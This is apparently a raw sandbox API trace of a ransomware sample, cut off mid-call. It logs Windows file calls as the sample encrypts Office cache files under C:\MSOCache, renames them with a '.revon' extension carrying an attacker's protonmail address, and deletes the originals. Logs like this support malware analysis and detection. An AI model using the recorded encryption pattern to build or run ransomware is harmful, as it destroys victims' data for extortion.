ReadFile (in: hFile=0x1b0, lpBuffer=0x2d30020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x265fd7c, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesRead=0x265fd7c*=0x61d, lpOverlapped=0x0) returned 1 [0079.779] WriteFile (in: hFile=0x1c8, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0x620, lpOverlapped=0x0) returned 1 [0079.811] WriteFile (in: hFile=0x1c8, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xf2, lpOverlapped=0x0) returned 1 [0079.811] CloseHandle (hObject=0x1b0) returned 1 [0079.811] CloseHandle (hObject=0x1c8) returned 1 [0079.813] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0079.814] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0079.814] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=2296) returned 1 [0079.815] CloseHandle (hObject=0x1c8) returned 1 [0079.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0079.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0079.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0079.815] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0079.815] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0079.815] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0079.815] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b0 [0079.816] ReadFile (in: hFile=0x1c8, lpBuffer=0x2d30020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x265fd7c, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesRead=0x265fd7c*=0x8f8, lpOverlapped=0x0) returned 1 [0080.438] WriteFile (in: hFile=0x1b0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0x900, lpOverlapped=0x0) returned 1 [0080.441] WriteFile (in: hFile=0x1b0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xf2, lpOverlapped=0x0) returned 1 [0080.441] CloseHandle (hObject=0x1c8) returned 1 [0080.441] CloseHandle (hObject=0x1b0) returned 1 [0080.443] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0080.446] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0080.447] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=2503680) returned 1 [0080.447] CloseHandle (hObject=0x1b0) returned 1 [0080.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0080.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 1 [0080.449] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0080.449] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0080.449] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0080.449] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d30058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0080.556] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0080.556] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d70058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0080.774] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0080.774] ReadFile (in: hFile=0x1b0, lpBuffer=0x2db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2db0058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0080.987] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd68 | out: lpNewFilePointer=0x0) returned 1 [0080.987] WriteFile (in: hFile=0x1b0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xc0112, lpOverlapped=0x0) returned 1 [0081.008] SetEndOfFile (hFile=0x1b0) returned 1 [0081.008] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0081.008] WriteFile (in: hFile=0x1b0, lpBuffer=0x2df014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df014a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0081.011] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0081.011] WriteFile (in: hFile=0x1b0, lpBuffer=0x2df014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df014a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0081.221] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0081.221] WriteFile (in: hFile=0x1b0, lpBuffer=0x2df014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df014a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0081.223] CloseHandle (hObject=0x1b0) returned 1 [0085.528] SetEvent (hEvent=0x144) returned 1 [0085.529] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0085.530] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=1450) returned 1 [0085.530] CloseHandle (hObject=0x1c4) returned 1 [0085.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0085.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0085.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0085.530] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0085.530] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0085.530] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0085.530] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1d0 [0085.531] ReadFile (in: hFile=0x1c4, lpBuffer=0x2d30020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x265fd7c, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesRead=0x265fd7c*=0x5aa, lpOverlapped=0x0) returned 1 [0085.546] WriteFile (in: hFile=0x1d0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0x5b0, lpOverlapped=0x0) returned 1 [0085.547] WriteFile (in: hFile=0x1d0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0x102, lpOverlapped=0x0) returned 1 [0085.548] CloseHandle (hObject=0x1c4) returned 1 [0085.548] CloseHandle (hObject=0x1d0) returned 1 [0085.552] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0085.554] SetEvent (hEvent=0x144) returned 1 [0085.554] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0085.556] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=70361744) returned 1 [0085.556] CloseHandle (hObject=0x1d0) returned 1 [0085.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0085.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 1 [0085.557] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0085.557] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0085.557] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0085.557] ReadFile (in: hFile=0x1d0, lpBuffer=0x2d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d30058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0085.569] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0085.569] ReadFile (in: hFile=0x1d0, lpBuffer=0x2d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d70058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0085.581] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0085.581] ReadFile (in: hFile=0x1d0, lpBuffer=0x2db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2db0058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0085.599] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd68 | out: lpNewFilePointer=0x0) returned 1 [0085.862] WriteFile (in: hFile=0x1d0, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xc0102, lpOverlapped=0x0) returned 1 [0085.882] SetEndOfFile (hFile=0x1d0) returned 1 [0085.882] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0085.882] WriteFile (in: hFile=0x1d0, lpBuffer=0x2df013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df013a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0085.885] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0085.885] WriteFile (in: hFile=0x1d0, lpBuffer=0x2df013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df013a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0085.886] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0085.886] WriteFile (in: hFile=0x1d0, lpBuffer=0x2df013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df013a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0085.887] CloseHandle (hObject=0x1d0) returned 1 [0094.773] SetEvent (hEvent=0x144) returned 1 [0094.774] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0094.775] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=1608) returned 1 [0094.775] CloseHandle (hObject=0x1d0) returned 1 [0094.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0094.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0094.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0094.775] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0094.776] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0094.776] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd70 | out: lpNewFilePointer=0x0) returned 1 [0094.776] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c4 [0094.776] ReadFile (in: hFile=0x1d0, lpBuffer=0x2d30020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x265fd7c, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesRead=0x265fd7c*=0x648, lpOverlapped=0x0) returned 1 [0094.804] WriteFile (in: hFile=0x1c4, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0x650, lpOverlapped=0x0) returned 1 [0094.806] WriteFile (in: hFile=0x1c4, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xf2, lpOverlapped=0x0) returned 1 [0094.806] CloseHandle (hObject=0x1d0) returned 1 [0094.806] CloseHandle (hObject=0x1c4) returned 1 [0094.807] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0094.809] SetEvent (hEvent=0x144) returned 1 [0094.809] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0094.810] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=14819276) returned 1 [0094.810] CloseHandle (hObject=0x1c4) returned 1 [0094.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0094.811] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 1 [0094.811] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-2795].[werichbin@protonmail.com].revon"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0094.811] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0094.812] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0094.812] ReadFile (in: hFile=0x1c4, lpBuffer=0x2d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d30058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0094.824] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0094.824] ReadFile (in: hFile=0x1c4, lpBuffer=0x2d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2d70058*, lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0094.921] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x265fbf8 | out: lpNewFilePointer=0x0) returned 1 [0094.922] ReadFile (in: hFile=0x1c4, lpBuffer=0x2db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x265fc04, lpOverlapped=0x0 | out: lpBuffer=0x2db0058*, 